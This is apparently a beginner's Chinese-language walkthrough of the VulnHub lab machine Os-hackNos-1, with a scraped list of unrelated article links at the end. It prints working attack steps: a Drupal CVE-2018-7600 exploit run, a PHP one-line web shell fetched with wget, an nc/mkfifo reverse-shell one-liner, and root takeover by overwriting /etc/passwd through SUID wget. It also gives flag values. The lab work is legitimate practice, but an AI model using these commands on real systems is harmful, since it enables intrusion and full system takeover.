第一次写自己总结的文章,之后也会有更新,目前还在初学阶段。

首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1

简介: 难度容易到中, flag 两个 一个是普通用户的user.txt 另外一个是root用户的user.txt

靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

有的靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息。

开始过程:

1.去靶机的网站进行下载,一个是直接下载,一个是磁力链接。
 
2.在这个页面一直按shift然后按e进入页面
 

3.将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面
4.查ip发现查不到,记住网卡的名称,准备修改配置信息
5.vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33
6.然后/etc/init.d/networking restart 重启网卡服务
7.最后按ctrl+alt+del,进行重启
 

接下来开始正式的操作

首先看ip然后扫描这个ip段,看靶机的IP地址是多少

 
发现靶机ip和其他的不同

使用nmap扫描:nmap -sV -sC -A 192.168.0.8 -oA oshacknos1

发现开放22和80端口,尝试访问

使用火狐访问,firefox http://192.168.0.8

访问成功

先使用目录扫描器,查看后台目录,发现gobuster没有安装,先安装。apt install gobuster

输入命令gobuster dir -u http://192.168.0.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
发现存在一个/drupal的页面

访问成功。http://192.168.0.8/drupal/

获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。

发现版本为7.57,可以网上查找是否存在exp。

在github上发现了exp,https://github.com/pimps/CVE-2018-7600

创建一个文件夹,来安装exp。命令git clone https://github.com/pimps/CVE-2018-7600.git

使用python3来打开,输入-h参数。python3 drupa7-CVE-2018-7600.py -h

发现有很多参数,这里一般填写url即可。
positional arguments:
target URL of target Drupal site (ex: http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)

输入url之后,默认输入了id,返回了用户www-data。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/

这里的-c参数可以执行系统命令。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c whoami

查看目录文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls

访问数据库文件的页面。http://192.168.0.8/drupal/sites/

查看数据库文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "cat sites/default/settings.php"

获取到了账号密码文件
* @code
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
* @endcode

在获取账号的同时也可以在对目录进行更深的扫描。gobuster dir -u http://192.168.0.8/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

在之前创建的文件夹目录下,创建config.txt文件,写入账号和密码。

编写一个php文件的一句话。<?php system($_POST['knife']);?>
 
开启python自带的httpserver,查看ip地址。python -m SimpleHTTPServer

要在靶机上上传这个木马文件,尝试访问,访问成功。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "wget http://192.168.0.3:8000/qq.php"

上传成功

在抓代理之前,设置火狐为中文,方便之后的查看

发现代理没有下载,搜索foxyproxy进行下载,点击添加即可。

在burp这个页面设置代理

上传之后,查看文件无法显示,抓包看一下。

更改提交的方法,使用change request method

成功获取,可以执行命令了,试着做一个反弹shell

先监听9001端口

使用nc的命令进行反弹shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

放到moon的这里。需要进行编码才可以。rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+192.168.0.3+9001+%3e%2ftmp%2ff

获取成功

对shell进行一个切换,-c导入模块pty,最后登录成功
python3 -c 'import pty;pty.spawn("/bin/bash")'

查看id和ls目录,查看/etc/passwd 下的目录,发现有一个james的用户,查看内容

查看user.txt,发现第一个flag。bae11ce4f67af91fa58576c1da2aad4b

试着访问root目录发现没有权限。继续查看其他文件,看看有没有可疑文件。

返回上一级目录查看文件,发现一个alexander.txt的文件。

查看文件发现为一些密文,可以使用burp来进行解密,发现可以使用base64位来进行解密

解密内容:+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
使用百度进行查询发现是一种编码格式进行解密。

获得账号。james:Hacker@4514

保存账号到目录下

尝试登录,发现无法登录

想起之前有开放22端口,试着ssh登录,发现也是不行

没有其他办法了,试着提权,先看看suid提权,需要搜索到,带有s的文件,开始查找。find / -perm -u=s -type f 2>/dev/null

发现这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password。
把整个passwd先复制出来,然后在baji1的文件夹里创建一个passwd,粘贴进去。

创建一个用户

将root的格式复制出来,使用knife来进行使用
root:x:0:0:root:/root:/bin/bash
knife:$1$knife$C950ul0bfwnJsvgk7oiF/0:0:0:root:/root:/bin/bash

保存到创建的passwd里面

访问本地的端口,查看文件是否可以访问

下载到我们的目标靶机上,把passwd进行替换就可以了。命令wget http://192.168.0.3:8000/passwd -O /etc/passwd

打开passwd发现修改成功

使用knife进行登录,用户权限变成root,修改成功

返回主目录,打开root.txt。获取flag

查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。

总结

1.第一次进行靶机的渗透,有需要地方还不熟悉,工具也是在过程中安装的没有事先安装。

2.过程中遇到了很多问题,文件上传的问题,nc反弹shell的问题等问题,这些问题在渗透中,都需要去查找资料,慢慢一步一步的去做。

3.总的来说,第一次靶机很艰难,但也十分有趣,能学习到很多知识,对自身也有很大的提升。

 
 
 
 
 
 

vulnhub靶机练习-Os-hackNos-1,超详细使用的更多相关文章

  1. 转帖: 一份超全超详细的 ADB 用法大全

    增加一句 连接 网易mumu模拟器的方法 adb  connect 127.0.0.1:7555 一份超全超详细的 ADB 用法大全 2016年08月28日 10:49:41 阅读数:35890 原文 ...

  2. SCIP | 数学规划求解器SCIP超详细的使用教程

    前言 小伙伴们大家好呀!继上次lp_solve规划求解器的推文出来以后,大家都期待着更多求解器的具体介绍和用法.小编哪敢偷懒,这不,赶在考试周之际,又在忙里偷闲中给大家送上一篇SCIP规划求解的推文教 ...

  3. c语言面试宝典(经典,超详细)

    c语言面试宝典(经典,超详细) 2018年08月25日 09:32:19 chengxuyuan997 阅读数:7799   摘自:https://blog.csdn.net/chengxuyuan9 ...

  4. 超详细Go语言源码目录说明

    开源项目「go home」聚焦Go语言技术栈与面试题,以协助Gopher登上更大的舞台,欢迎go home~ 导读 学习Go语言源码的第一步就是了解先了解它的目录结构,你对它的源码目录了解多少呢?今天 ...

  5. Docker安装教程(超详细)

    Docker安装教程(超详细) 欢迎关注博主公众号「Java大师」, 专注于分享Java领域干货文章, 关注回复「资源」, 免费领取全网最热的Java架构师学习PDF, 转载请注明出处 http:// ...

  6. vulnhub靶机-Me and My Girlfriend: 1

    vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...

  7. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  8. 【转】(超详细)jsp与servlet之间页面跳转及参数传递实例

    初步学习JavaEE,对其中jsp与Servlet之间的传值没弄清楚,查看网上资料,发现一篇超详细的文章,收获大大,特此记录下来.具体链接:http://blog.csdn.net/ssy_shand ...

  9. 超强、超详细Redis数据库入门教程

    这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么2.redis的作者何许人也3.谁在使用red ...

  10. Github上传代码菜鸟超详细教程【转】

    最近需要将课设代码上传到Github上,之前只是用来fork别人的代码. 这篇文章写得是windows下的使用方法. 第一步:创建Github新账户 第二步:新建仓库 第三部:填写名称,简介(可选), ...

随机推荐

  1. git版本回滚

    本地版本回滚 git reset --hard <版本号> (git log 可查看版本号,版本号不用写全) 远程仓库版本回滚 先在本地将版本回滚 ,然后git push -f 强制提交

  2. LeetCode145 二叉树的后序遍历

    给定一个二叉树,返回它的 后序 遍历. 示例: 输入: [1,null,2,3] 1 \ 2 / 3 输出: [3,2,1] 进阶: 递归算法很简单,你可以通过迭代算法完成吗? /** * Defin ...

  3. SpringCloud Gateway快速入门

    SpringCloud Gateway cloud笔记第一部分 cloud笔记第二部分Hystrix 文章目录 SpringCloud Gateway Zull的工作模式与Gateway的对比 Rou ...

  4. Payment Spring Boot 1.0.4.RELEASE 发布,最易用的微信支付 V3 实现

    Payment Spring Boot 是微信支付V3的Java实现,仅仅依赖Spring内置的一些类库.配置简单方便,可以让开发者快速为Spring Boot应用接入微信支付. 欢迎ISSUE,欢迎 ...

  5. 【EXP】根据字段导出数据query

    exp有些时候需要根据字段来进行导出操作 例如:想要导出hr用户中的employees中salary要大于4000的数据 这样的话需要添加where语句,需要用到的参数是query 查看下大于4000 ...

  6. 【葵花宝典】All-in-One模式安装KubeSphere

    1.准备 Linux 机器 2.google api受限下载 KubeKey export KKZONE=cn curl -sfL https://get-kk.kubesphere.io | VER ...

  7. 代码页(CodePage)列表

    代码页编号    国家地区或语言37                 IBM037    IBM EBCDIC (US-Canada)    437                 IBM437    ...

  8. ECC 6 debuging中create points

    2013-12-07 今天无意中,发现,在ECC6中debug的时候,创建动态断点,对于command中的delete from语句居然无效,唉 虽然设置了DELETE 和DELETE FROM两个动 ...

  9. redis 主从复制(一主两从)

    一.环境基本信息 系统 centos7 版本 redis 5.0.7 只用了一台机器,ip:192.168.64.123 master端口 6379,从机 端口 6380.6381 二.redis目录 ...

  10. kaggle新手如何在平台学习大神的代码

    原创:数据臭皮匠  [导读]Kaggle ,作为听说它很牛X但从未接触过的同学,可能仅仅了解这是一个参加数据挖掘比赛的网站,殊不知Kaggle也会有赛题相关的数据集, 比如我们熟知的房价预测.泰坦尼克 ...